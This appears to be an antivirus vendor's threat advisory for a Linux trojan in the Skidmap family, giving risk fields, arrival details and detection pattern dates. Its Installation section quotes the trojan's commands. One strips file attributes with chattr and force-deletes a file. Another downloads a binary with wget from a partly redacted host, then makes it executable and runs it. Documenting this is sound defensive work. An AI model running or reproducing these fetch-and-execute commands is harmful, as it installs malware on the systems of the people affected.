Trojan.SH.SKIDMAP.UWEKB

 Analysis by: Francesca Villasanta

 PLATFORM:

Linux

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

2,091 bytes

File Type:

Other

Memory Resident:

No

Initial Samples Received Date:

05 Apr 2023

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops and executes the following files:

  • /var/lib/gif

It adds the following processes:

  • md5sum gif|grep c40f853e641b91565ecc92fe1affd78e|grep -v grep |wc -l
  • chattr -ia -R /var/lib/gif  > /dev/null 2>&1
  • /bin/rm -rf /var/lib/gif
  • wget -c http://y.{BLOCKED}l.com/gif -O /var/lib/gif && chmod +x /var/lib/gif && /var/lib/gif

Other Details

This Trojan connects to the following possibly malicious URL:

  • http://y.{BLOCKED}l.com/gif

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

18.374.03

FIRST VSAPI PATTERN DATE:

10 Apr 2023

VSAPI OPR PATTERN File:

18.375.00

VSAPI OPR PATTERN Date:

11 Apr 2023

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